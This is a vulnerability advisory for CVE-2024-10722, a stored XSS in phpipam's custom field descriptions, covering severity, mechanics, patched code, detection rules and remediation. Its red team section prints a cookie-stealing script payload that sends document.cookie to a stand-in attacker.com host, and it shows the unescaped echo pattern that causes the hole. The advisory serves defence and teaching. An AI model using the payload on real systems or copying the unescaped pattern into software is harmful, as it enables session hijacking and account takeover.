CVE-2024-10722

Executive Summary

CVE-2024-10722 is a stored cross-site scripting (XSS) vulnerability in phpipam version 1.5.2, affecting the 'Description' field of custom fields in the 'IP RELATED MANAGEMENT' section. An authenticated attacker with low privileges can inject malicious scripts that execute when other users view the affected field. This can lead to data theft, account compromise, malware distribution, website defacement, content manipulation, and phishing attacks. The vulnerability is fixed in version 1.7.0. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for internal deployments.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Low (due to low CVSS score and EPSS probability)

Deep Dive & Mechanics

The vulnerability resides in the custom fields feature of phpipam's IP RELATED MANAGEMENT section. The 'Description' field does not properly sanitize user input before storing it in the database. When an administrator or other user views the IP address details, the stored description is rendered without proper encoding, allowing arbitrary HTML and JavaScript execution.

The attack flow:

1. Attacker logs in with low-privileged credentials.
2. Attacker navigates to IP RELATED MANAGEMENT and edits a custom field's description.
3. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>).
4. The payload is stored in the database.
5. When another user (including admins) views the IP address, the script executes in their browser.

This is a classic stored XSS (CWE-79) with a changed scope, meaning the impact can extend beyond the vulnerable application to the user's session and data.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2): The custom field description is likely output directly without escaping. For example, in a PHP template:

echo $custom_field['description'];

Patched Code (phpipam 1.7.0): The description is escaped using htmlspecialchars() or similar:

echo htmlspecialchars($custom_field['description'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

1. Setup: Deploy phpipam 1.5.2 in a lab environment (e.g., Docker).
2. Authentication: Obtain low-privileged credentials (e.g., user/user).
3. Payload: Use a simple XSS payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Injection: Navigate to IP RELATED MANAGEMENT > Custom Fields > Edit Description field of an existing IP address. Paste the payload and save.
5. Trigger: Have an admin or other user view the IP address details. The script executes, exfiltrating cookies.

Blue Team

1. Detection: Monitor for unusual script tags in custom field descriptions. Use WAF rules to block <script> tags in input fields.
2. Hunting: Search database for HTML/JavaScript in custom_fields.description column.
3. Response: If compromised, rotate all session tokens and audit user accounts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from phpipam users.
• Host: Log entries showing custom_fields.description containing <script> tags.
• File: No specific file IOCs.
• Registry: N/A

Detection Engineering

YARA Rule

rule phpipam_stored_xss_cve_2024_10722 {
    meta:
        description = "Detects stored XSS payloads in phpipam custom field descriptions"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-10722"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in phpipam Custom Field Description
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in phpipam custom field descriptions
author: Valters IT
date: 2025-04-17
logsource:
    category: application
    product: phpipam
detection:
    selection:
        field: custom_fields.description
        value|contains|re: '<script|on\w+=|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10722 phpipam Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: Immediately upgrade to phpipam version 1.7.0 or later.
2. Input Validation: Implement strict input validation and output encoding for all user-supplied fields.
3. WAF: Deploy a Web Application Firewall with rules to block XSS payloads.
4. CSP: Implement Content Security Policy headers to restrict script execution.
5. Audit: Review custom field descriptions for existing malicious content.

Valters IT - DevSecOps & Cyber Threat Intelligence Expert